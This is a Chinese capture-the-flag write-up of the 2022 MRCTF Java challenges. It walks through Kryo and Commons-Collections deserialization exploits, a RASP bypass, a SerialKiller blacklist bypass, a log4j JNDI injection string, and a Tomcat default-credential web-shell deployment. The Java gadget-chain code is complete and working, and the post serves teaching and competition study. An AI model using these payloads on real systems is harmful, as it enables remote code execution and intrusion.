2022MRCTF-Java部分
总结
总的来说是一次非常不错的比赛,这里也会简单列出考点方便查阅学习,不难有点引导性质
Ps:此次比赛都是不出网,所以都需要内存马,内存马部分不做讲解很简单百度搜搜
下面这两题挺不错的也学到了东西,题目做了备份,核心代码(exp)也放到了git仓库备份,本篇只是思路帖子
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF
Springcoffee–Kryo反序列化、绕Rasp
EzJava–绕Serialkiller黑名单中cc关键组件
下面这两题没啥参考价值,不过让我搞了下实战也还不错
Java_mem_shell_Filter–log4j2打jndi
Java_mem_shell_Basic—tomcat弱口令
Springcoffee – Kryo反序列化、绕Rasp
ok,这东西也是从来没学过,又是从头开始,这里记录了当时是如何思考的分析思考过程
思路分析
首先看看整体目录结构
这里挑几个重要的来讲一下CoffeeController
order路由反序列化
1234567 |
public Message order( CoffeeRequest coffee){ if (coffee.extraFlavor != null) { ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor)); Input input = new Input(bas); ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input); return new Message(200, flavor.getName()); |
demo路由,主要是根据输入修改一些关键配置,这个比较关键之后再说
1234567891011121314151617181920212223242526272829303132333435363738 |
public Message demoFlavor( String raw)throws Exception { System.out.println(raw); JSONObject serializeConfig = new JSONObject(raw); if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) { this.kryo = new Kryo(); Method[] var3 = this.kryo.getClass().getDeclaredMethods(); int var4 = var3.length; for(int var5 = 0; var5 < var4; ++var5) { Method setMethod = var3[var5]; if (setMethod.getName().startsWith("set")) { try { Object p1 = serializeConfig.get(setMethod.getName().substring(3)); if (!setMethod.getParameterTypes()[0].isPrimitive()) { try { p1 = Class.forName((String)p1).newInstance(); setMethod.invoke(this.kryo, p1); } catch (Exception var9) { var9.printStackTrace(); } } else { setMethod.invoke(this.kryo, p1); } } catch (Exception var10) { } } } } ByteArrayOutputStream bos = new ByteArrayOutputStream(); Output output = new Output(bos); this.kryo.register(Mocha.class); this.kryo.writeClassAndObject(output, new Mocha()); output.flush(); output.close(); return new Message(200, "Mocha!", Base64.getEncoder().encode(bos.toByteArray())); } |
首先要解决这道题,我们得知道前人都有一些什么研究
通过谷歌简单搜索可以搜到一篇文章:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)
其中比较有信息量的是调用栈,但是这里题目环境里面没有依赖
但是这里有rome依赖,那么很容易想到EqualsBean去触发ROME的利用链子
具体利用过程(Payload构造过程)
根据dubbo的利用链进行修改我们可以得到这样的代码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124 |
package demo;import com.esotericsoftware.kryo.Kryo;import com.esotericsoftware.kryo.io.Input;import com.esotericsoftware.kryo.io.Output;import com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.rowset.JdbcRowSetImpl;import fun.mrctf.springcoffee.model.ExtraFlavor;import fun.mrctf.springcoffee.model.Mocha;import javassist.ClassPool;import org.json.JSONObject;import org.objenesis.strategy.SerializingInstantiatorStrategy;import org.objenesis.strategy.StdInstantiatorStrategy;import org.springframework.aop.target.HotSwappableTargetSource;import javax.sql.rowset.BaseRowSet;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.Base64;import java.util.HashMap;public class Testt { protected Kryo kryo = new Kryo(); public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public String ser(String raw) throws Exception{ JSONObject serializeConfig = new JSONObject(raw); if (serializeConfig.has("polish") && serializeConfig.getBoolean("polish")) { this.kryo = new Kryo(); Method[] var3 = this.kryo.getClass().getDeclaredMethods(); int var4 = var3.length; for(int var5 = 0; var5 < var4; ++var5) { Method setMethod = var3[var5]; if (setMethod.getName().startsWith("set")) { try { Object p1 = serializeConfig.get(setMethod.getName().substring(3)); if (!setMethod.getParameterTypes()[0].isPrimitive()) { try { p1 = Class.forName((String)p1).newInstance(); setMethod.invoke(this.kryo, p1); } catch (Exception var9) { var9.printStackTrace(); } } else { setMethod.invoke(this.kryo, p1); } } catch (Exception var10) { } } } } ByteArrayOutputStream bos = new ByteArrayOutputStream(); Output output = new Output(bos); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); TemplatesImpl templates = new TemplatesImpl(); byte[][] bytes = new byte[][]{ClassPool.getDefault().get("demo.YYDS").toBytecode()}; EqualsBean bean = new EqualsBean(String.class,""); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "1"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(bean,"beanClass", Templates.class); setFieldValue(bean,"obj",templates); Object gadgetChain = Utils.makeXStringToStringTrigger(templates,bean); // toString() trigger objectObjectHashMap.put(gadgetChain,""); kryo.writeClassAndObject(output, objectObjectHashMap); output.flush(); output.close(); return new String(Base64.getEncoder().encode(bos.toByteArray())); } public void deser(String raw){ ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(raw)); Input input = new Input(bas); ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input); System.out.println(flavor.getName()); } public static void main(String[] args) throws Exception { Testt test = new Testt(); String ser = test.ser("{\"polish\":true,\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}"); test.deser(ser); }} |
以及Utils类
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216 |
package demo;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.springframework.aop.target.HotSwappableTargetSource;import sun.reflect.ReflectionFactory;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.Serializable;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;/* * Utility class - based on code found in ysoserial, includes method calls used in * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were * consolidated into a single util class for the sake of brevity; they are otherwise unchanged. * * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger * to create a toString trigger * * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec */public class Utils { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled System.setProperty(DESERIALIZE_TRANSLET, "true"); // for RMI remote loading System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } // required to make TemplatesImpl happy public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; } public static InvocationHandler createMemoizedInvocationHandler (final Map<String, Object> map ) throws Exception { return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Utils.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, Utils.classAsBytes(Utils.Foo.class) }); // required to make TemplatesImpl happy Utils.setFieldValue(templates, "_name", "Pwnr"); Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } "unchecked"} ) ( { public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T)sc.newInstance(consArgs); } public static String classAsFile(final Class<?> clazz) { return classAsFile(clazz, true); } public static String classAsFile(final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; } public static byte[] classAsBytes(final Class<?> clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); Utils.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Utils.setFieldValue(s, "table", tbl); return s; } public static Object makeXStringToStringTrigger(Object o,Object bean) throws Exception { return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean)); }} |
但是当你兴冲冲的写好利用链以后,会发现几个问题
首先你会看到一行报错,Class is not registered: java.util.HashMap
那么你肯定会疑惑这是什么玩意儿?它来自哪里?
我们可以看到在com.esotericsoftware.kryo.Kryo#Kryo(com.esotericsoftware.kryo.ClassResolver, com.esotericsoftware.kryo.ReferenceResolver)
首先实例化的时候注册了一些基本类型
然后在代码当中有this.kryo.register(Mocha.class);
可以看到默认是FieldSerializer
那我们也知道我们这个思路触发的核心是通过com.esotericsoftware.kryo.serializers.MapSerializer
,但是这里我们没法自己注册怎么办呢,还记得上面那个路由么,demo路由当中可以根据我们前端传入的json当中的熟悉控制执行对应的set方法做属性更改,这里我不直接说需要更改哪些属性去解决这道题,个人更倾向于遇到一个问题解决一个问题
那么既然能控制属性,我们也得知道能控制那一些,通过简单输出可以得到
123456789101112 |
setWarnUnregisteredClassessetDefaultSerializersetDefaultSerializersetClassLoadersetRegistrationRequiredsetReferencessetCopyReferencessetReferenceResolversetInstantiatorStrategysetAutoResetsetMaxDepthsetOptimizedGenerics |
回到刚刚的问题
既然如此那么我们首先需要知道在哪里抛出了这个异常,可以看到在
com.esotericsoftware.kryo.Kryo#getRegistration(java.lang.Class)
简单列出现在的调用栈,是在序列化的过程当中
123456 |
getRegistration:579, Kryo (com.esotericsoftware.kryo)writeClass:112, DefaultClassResolver (com.esotericsoftware.kryo.util)writeClass:613, Kryo (com.esotericsoftware.kryo)writeClassAndObject:708, Kryo (com.esotericsoftware.kryo)ser:97, Testt (demo)main:121, Testt (demo) |
可以看到根据类型在this.classResolver.getRegistration无结果就会抛出异常,通过debug输出classResolver当中的关键信息,可以很明显得到基本都是一些基本的数据类型,没有我们的Map
12345678910111213141516171819 |
{char=[5, char], long=[7, long], class java.lang.Byte=[4, byte], class java.lang.Character=[5, char], double=[8, double], class java.lang.Short=[6, short], int=[0, int], class java.lang.Integer=[0, int], byte=[4, byte], float=[2, float], class java.lang.Double=[8, double], class java.lang.Boolean=[3, boolean], boolean=[3, boolean], short=[6, short], class java.lang.Long=[7, long], class java.lang.String=[1, String], class java.lang.Float=[2, float]} |
我们再来看在抛出异常的那部分,如果将registrationRequired设置为false,则可以略过这些过程
此时它会执行com.esotericsoftware.kryo.util.DefaultClassResolver#registerImplicit
=>com.esotericsoftware.kryo.Kryo#getDefaultSerializer
最终获取到我们需要的com.esotericsoftware.kryo.serializers.MapSerializer
通过比对属性以及上面提到的可利用的set方法,我们能很容易通过payload的传入控制这个过程
1
|
{"RegistrationRequired":false}
|
ok当你感觉又行的时候,又兴致冲冲运行了代码,此时又出现Class cannot be created (missing no-arg constructor):
,字面意思是我们序列化的类需要有无参构造函数
那我们再跟进代码看看实例化报错到底是怎么回事,在实例化一个类的时候会通过调用com.esotericsoftware.kryo.Kryo#newInstantiator
,
并最终会调用到com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy#newInstantiatorOf
此时的调用栈为
1234567891011121314 |
newInstantiatorOf:96, DefaultInstantiatorStrategy (com.esotericsoftware.kryo.util)newInstantiator:1190, Kryo (com.esotericsoftware.kryo)newInstance:1199, Kryo (com.esotericsoftware.kryo)create:163, FieldSerializer (com.esotericsoftware.kryo.serializers)read:122, FieldSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)read:226, MapSerializer (com.esotericsoftware.kryo.serializers)read:42, MapSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)read:226, MapSerializer (com.esotericsoftware.kryo.serializers)read:42, MapSerializer (com.esotericsoftware.kryo.serializers)readClassAndObject:880, Kryo (com.esotericsoftware.kryo)deser:110, Testt (demo)main:126, Testt (demo) |
可以看到抛错的原因就是下面的这串代码,它默认我们的类有无参构造函数
那为了解决这个问题我们也得知道是否可以不使用DefaultInstantiatorStrategy
,转而使用其他InstantiatorStrategy
的子类呢,答案是可以的,上面我们可以看到函数实例化的过程是通过this.strategy.newInstantiatorOf(type)
,而这个DefaultInstantiatorStrategy
来源于strategy
属性
正好在Kryo类当中有set方法可以实现,com.esotericsoftware.kryo.Kryo#setInstantiatorStrategy
,可以看到如果是StdInstantiatorStrategy
类则正好符合(官方文档比代码好看)
因此我们得到最终传参
1
|
{"polish":true,"RegistrationRequired":false,"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"}
|
可以看到又报错了,_tfactory
空指针异常
这里如何解决呢?其实很简单,别忘了我们这个可是打ROME,通过触发com.rometools.rome.feed.impl.EqualsBean#beanEquals
我们能调用任意get方法,这时候不难想到二次反序列化,java.security.SignedObject#getObject
,其实就是虎符的思路了没啥难度
123456789101112 |
public Object getObject() throws IOException, ClassNotFoundException{ // creating a stream pipe-line, from b to a ByteArrayInputStream b = new ByteArrayInputStream(this.content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj;} |
因此不难得到payload
1
|
payloadhere
|
绕Rasp
这时候你注入内存马执行会发现什么都是空的
这时候你一定很疑问为什么本地打通了远程不行,我也很疑惑,之后看到出题人说
既然存在waf,那么我们第一件事情是什么呢,当然是验证是否是对payload的过滤
因此我将执行的字节码改成
1
|
Thread.sleep(10000);
|
成功看到页面延时
这时候猜到可能有Rasp(毕竟对于Java过滤base64解码后的字符串有点傻)
那第一步就要知道rasp的文件内容,用个之前从p牛那里学的伪协议小trick方便我读文件以及列目录
12345678910 |
String urlContent = "";final URL url = new URL(request.getParameter("read"));final BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));String inputLine = "";while ((inputLine = in.readLine()) != null) { urlContent = urlContent + inputLine + "\n";}in.close();writer.println(urlContent); |
之后成功得到rasp的地址,/app/jrasp.jar
,那么下载下来分析即可,图没截完,意思是只要执行到java.lang.ProcessImpl
的start
方法,而这也就封掉了之前常见的Runtime
,ProcessBuilder
,甚至js执行之类的,el执行都不行,道理很简单会调用到java.lang.ProcessImpl
如何绕过也很简单去找更下一层的调用即可,也就是通过UNIXProcess
即可
后面很恶心一个计算题
脚本有个地方小错误导致三小时没找到前面不能加CHLD_IN
导致提前输入错误答案似乎
12345678910111213141516 |
use strict;use IPC::Open3;my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!";my $r;$r = <CHLD_OUT>;print "$r";$r = <CHLD_OUT>;print "$r";$r = substr($r,0,-3);$r = eval "$r";print "$r\n";print CHLD_IN "$r\n";$r = <CHLD_OUT>;print "$r"; |
EzJava – Bypass Serialkiller
解读环境
首先附件给了两个东西一个jar,一个serialkiller的配置文件,下面是jar当中的目录架构
这有两个控制器但是第一个没啥意义,这个路由很明显需要反序列化
123456789101112131415161718 |
public class HelloController { public HelloController() { } public String index() { return "hello"; } public String index( String baseStr)throws Exception { byte[] decode = Base64.getDecoder().decode(baseStr); ObjectInputStream ois = new SerialKiller(new ByteArrayInputStream(decode), "serialkiller.xml"); ois.readObject(); return "hello"; }} |
简单看下SerialKiller类,实现是载入配置获得黑白名单,通过resolveClass做了过滤,接下来就来看看黑名单,将我们反序列化的关键点给拿捏了
1234567891011121314 |
<blacklist> <!-- ysoserial's CommonsCollections1,3,5,6 payload --> <regexp>org\.apache\.commons\.collections\.Transformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp> <!-- ysoserial's CommonsCollections2,4 payload --> <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp></blacklist> |
Bypass
既然如此那么首先就是想到去找替换类达到同样的效果咯
下面是我通过简单搜索发现的类,当然后面发现解决这题方案很多,我只给一个
FactoryTransformer
可以看到这个trnasfromer的transform方法,可以调用任意Factory子类的create方法
123456789101112131415161718192021222324 |
public class FactoryTransformer implements Transformer, Serializable { private static final long serialVersionUID = -6817674502475353160L; private final Factory iFactory; public static Transformer getInstance(Factory factory) { if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { return new FactoryTransformer(factory); } } public FactoryTransformer(Factory factory) { this.iFactory = factory; } public Object transform(Object input) { return this.iFactory.create(); } public Factory getFactory() { return this.iFactory; }} |
可以看到也不多,从名字就可以看出,其中有两个可以用的
其中org.apache.commons.collections.functors.ConstantFactory#create
可以返回任意值
代替ConstantTransformer
org.apache.commons.collections.functors.InstantiateFactory#create
可以实例化任意类
代替InstantiateTransformer
去实例化对象
那看到这里你有什么思路了吗?熟悉CC链的童鞋一定会知道TrAXFilter的构造函数当中可以帮助我们触发TemplatesImpl字节码加载的过程
通过如下构造,我们能很轻松的触发计算器
Ps小细节:对expMap做put操作会触发hashCode会导致利用链在序列化过程当中触发导致报错,别忘了先设置一个无关紧要的transformer(比如ConstantTransformer)最后再反射替换成我们恶意的Transformer
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263 |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InstantiateFactory;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.nibblesec.tools.SerialKiller;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class Test { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "1"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); InstantiateFactory instantiateFactory; instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj}); FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); ConstantTransformer constantTransformer = new ConstantTransformer(1); Map innerMap = new HashMap(); LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); setFieldValue(outerMap,"factory",factoryTransformer); outerMap.remove("keykey"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "/Users/y4tacker/Downloads/ezjavaz/serialkiller.xml"); ois.readObject(); }} |
后面就是获取注入一个内存马即可获取flag,这部分不谈基础东西而已
那么就结束了这一题
Java_mem_shell_Filter
首先只给了一个登录功能
通过随便访问不存在页面,导致报错抛出也可以得到是tomcat8.0.12版本,那版本问题可以忽略了
接下来由于后端响应真的很快,在公共环境下能做到这样首先考虑弱口令,爆破无效
突然想到能不能打log4j2
1
|
name=${jndi:rmi://xxxxx/exp}&password=admin
|
后面拿flag也是比较阴间,这里不重要不写了,涉及到dump内存的操作还是写写吧
1
|
jmap -dump:format=b,file=e.bin <pid>
|
Java_mem_shell_Basic
可以看见直接是一个tomcat,看了版本没啥可利用的1day,同时版本比较低不存在幽灵猫漏洞
那么接下来就只能考虑后台弱口令了,tomcat/tomcat
,之后部署一个war包上去,直接冰蝎一把梭哈,就是flag位置比较阴间/usr/local/apache-tomcat-8.0.12/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java
- source:y4tacker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论